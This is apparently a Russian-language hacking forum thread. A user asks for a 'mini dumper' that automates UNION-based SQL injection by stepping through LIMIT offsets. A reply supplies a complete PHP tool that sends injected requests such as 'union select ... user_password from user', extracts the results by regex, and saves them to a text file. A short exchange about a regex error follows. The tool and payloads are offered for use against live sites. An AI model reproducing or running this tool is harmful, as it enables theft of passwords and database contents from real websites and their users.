помогите сделать скрипт для sql inj нужно примерно так вставляешь свой запрос,а чтобы в конце дописывался limit 1,1 (limit 1,2) чтобы выводил всё в файл txt! но чтобы небыло примерно такого site.com/.php?id=sql from user <limit>,1 надеюсь всё правильно объяснил За ранее благодарен,с меня жирный ++++ вообщем мини дампер! просто group_concat и concat_ws не работает!
/thread79113.html мне бы что то на подобии,дизайн не важен,главное чтобы выводил на экран или в файл!
это я знаю) дело в том что при подставлении каких либо {SQLINJ}, {limit}, group_concat() concat_ws() то не выводит инфу а вот если делать так limit 1,1--+ , limit 1,2--+ то выводит вот и нужно типо такого скрипта! есть скуль такая id=1')+union+select+user_password+from+user+limit+1,1--+ и вот нужно чтобы он это всё делал также только заменял limit+1,1 на limit+1,2(и т.д.)
PHP: <?php set_time_limit(0); if (empty($_POST['url'])) { echo <<<HTML <html> <head> <title>limit parser</title> </head> <style type="text/css"> body { background-color: #2B2F34; color: #C1C1C7; font: 8pt verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; MARGIN-LEFT: 0px; MARGIN-RIGHT: 0px; margin:0; padding:0; scrollbar-base-color: #f2f2f2; scrollbar-track-color: #f9fafa; scrollbar-face-color: #F1F1F1; scrollbar-highlight-color: #ffffff; scrollbar-3dlight-color: #ffffff; scrollbar-darkshadow-color: #ffffff; scrollbar-shadow-color: #C8C8CA; scrollbar-arrow-color: #999999; } </style> <body> <center> <br> <hr> <form method="POST"> <input type="checkbox" name="choice" value="1">Записывать результат в файл (LIMIT.txt) <input type="checkbox" name="choice2" value="2">Выводить результат на экран<br><br> Url: <input type="text" name="url" size="120" value="http://www.example-site.com/index.php?id=-23'+union+select+1,2,3,user_password,5,6,7+from+user">+limit+<input type="text" name="limit" size="1" value="1">, From: <input type="text" name="from" size="1" value="0"> To: <input type="text" name="to" size="1" value="25">--+<br><br> RegExp (example): <input type="text" name="regexp" size="50" value="#<h5>(.*?)</h5>#"><br><br> <input type="submit" value="Go">   <input type="reset" value="Reset"> </form> <hr> <br> <p>Output:</p>\r\n HTML; } else { echo <<<HTML <html> <head> <title>limit parser</title> </head> <style type="text/css"> body { background-color: #2B2F34; color: #C1C1C7; font: 8pt verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; MARGIN-LEFT: 0px; MARGIN-RIGHT: 0px; margin:0; padding:0; scrollbar-base-color: #f2f2f2; scrollbar-track-color: #f9fafa; scrollbar-face-color: #F1F1F1; scrollbar-highlight-color: #ffffff; scrollbar-3dlight-color: #ffffff; scrollbar-darkshadow-color: #ffffff; scrollbar-shadow-color: #C8C8CA; scrollbar-arrow-color: #999999; } </style> <body> <center> <br> <hr> <form method="POST"> <input type="checkbox" name="choice" value="1">Записывать результат в файл (LIMIT.txt) <input type="checkbox" name="choice2" value="2">Выводить результат на экран<br><br> Url: <input type="text" name="url" size="120" value="$_POST[url]">+limit+<input type="text" name="limit" size="1" value="$_POST[limit]">, From: <input type="text" name="from" size="1" value="$_POST[from]"> To: <input type="text" name="to" size="1" value="$_POST[to]">--+<br><br> RegExp (example): <input type="text" name="regexp" size="50" value="$_POST[regexp]"><br><br> <input type="submit" value="Go">   <input type="reset" value="Reset"> </form> <hr> <br> <p>Output:</p>\r\n HTML; $fp = fopen("LIMIT.txt", "wb"); for ($i=$_POST['from']; $i<=$_POST['to']; $i++) { $sql_inj = file_get_contents($_POST['url']."+limit+".$_POST['limit'].",".$i."--+"); preg_match($_POST['regexp'], $sql_inj, $match); if ($_POST['choice'] == 1 and !empty($match[1])) { fwrite($fp, $match[1]."\r\n"); } if ($_POST['choice2'] == 2 and !empty($match[1])) { echo $match[1]."<br>\r\n"; flush(); ob_flush(); } } fclose($fp); } ?> </center> </body> </html>
Warning: preg_match() [function.preg-match]: Unknown modifier '(' in Z:\home\localhost\www\limit.php on line 100
http://pyha.ru/forum/topic/19.0 Ты ведь вставляешь регексп отсюда /thread79113.html Посмотри на исходный код страницы и посмотри где выводится принтабельное поле, и в соответствии с этим нужно составить регулярное выражение. Нужно хоть немного понимать, что такое регулярные выражения. В противном случае проку от скрипта нет.